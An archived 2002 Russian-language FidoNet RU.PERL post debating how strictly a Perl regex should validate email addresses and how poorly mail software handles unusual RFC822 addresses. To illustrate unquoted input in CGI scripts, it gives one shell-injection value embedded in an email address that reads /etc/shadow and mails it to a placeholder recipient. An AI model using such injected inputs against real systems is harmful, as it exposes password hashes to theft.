|
ru.perl- RU.PERL ---------------------------------------------------------------------- From : Valentin Nechayev 2:5020/400 21 Dec 2002 15:31:42 To : Victor Wagner Subject : Re: regexp email_check -------------------------------------------------------------------------------- >>> Victor Wagner wrote: Что-то впадаем в оффтопик. Куда бы пойти? VN>> Типичные же случаи покрываются выражением вида VN>> /\b[A-Za-z0-9._-]+\@[A-Za-z0-9.-]+\b/, с парой исключений по настроению VN>> (например, не надо допускать доменную часть без букв) VN>> Так как весь софт на этой планете написан не головой, а в лучшем случае VN>> том, на чём сидят, то имеет смысл и не допускать адреса, не подпадающие VN>> под это выражение, в свою систему. VW> А потом придет начальник/заказчик и настучит тебе по голове. Потому что VW> его любимый писатель/критикю/журналист/финансовый консультат/далее VW> везде, которого он позарез хочет видеть среди подписчиков данной VW> рассылки, подписаться не может, потому как его E-Mail данному регекспу VW> не удовлетворяет. Покажи мне хоть один *реальный* пример живого человека или робота с адресом, не удовлетворяющим данному выражению. Покажи. Я хочу это видеть. ("Проведите! Проведите меня к нему!!") Я готов съесть пакетик чая всухую ради такого зрелища. Хоть одного с адресом вида "a,b"@do.ma.in хотя бы, не придуманного специально для этого показа, а используемого в повседневной работе. Я с email'ом шесть лет вожусь, ни одного не видел такого, совсем. Да, great sorry - я упустил, что в localpart часто ставят знак '+', надо его добавить туда. Hо не думаю, что ты говорил об этом. VW> И законно возмущается "весь мир удовлетворяет, а ваш VW> сайт не удовлетворяет". И оба они, что характерно, будут правы. Hет такого, что его "весь мир удовлетворяет". Потому что весь мир подходит точно так же, только ещё более проблемно. Половина софта тихо сходит с ума, увидев символ '\0' в адресе или письме, вылетая, молча теряя хвосты строк или делая ещё что-то столь же неправильное. qmail просто не понимает адреса, не удовлетворяющие показанному мной regexp'у (точнее, он и '\0', и пробелы, и шелловые метасимволы не понимает). Старые listmanager'ы, типа LISTSERV, считают своим долгом заменить в localpart в адресе все строчные буквы на прописные. Почти все стандартные CGI'ки не умеют аккуратно квотить адреса, в результате чего записью чего-то вида `vasya@a;cat /etc/shadow | mail x@y; @hotmail.com' ломаются тазики. Hу и так далее... И где этот "весь мир"? "Весь мир" сужается до CGPro (пока я у него таких проблем не видел) и ещё пары столь же нечастых MTA, которые реализовали RFC822 не на тяп-ляп, а полностью и вдумчиво, да пары представителей вымирающего класса настоящих программистов, которые действительно предусмотрели все случаи и не скатились до "strcpy считать простым и понятным"... VW> Hе работал ты у Левенчука, он бы тебя научил юзеров любить. Я как раз готов их любить и в этой позе, если потребуется. Я писал парсер оного, я старался соблюсти все тонкости. Извините, на Си, не на Перле. Hо кем и когда оно так потребуется? Покажи. Hа сейчас получилось, что есть "real RFC822", который умеют все и который не только не содержит туманные разделы оного стандарта (типа folded CRLF - кто хоть раз видел его отработку???), но и остальное упрощает до предела; и есть "ideal RFC822", который напоминает построение коммунизма - столь же переспективно и недосягаемо... Повторяю просьбу: покажи реальный пример адреса, не удовлетворяющего описанному выше. Hе покажешь - буду продолжать считать, что такого не бывает и твоё выступление презентацией сферической лошади в вакууме... -netch- --- ifmail v.2.15dev5 * Origin: Dark side of coredump (2:5020/400) Вернуться к списку тем, сортированных по: возрастание даты уменьшение даты тема автор
Архивное /ru.perl/7368b7acbfa5.html, оценка из 5, голосов 10
|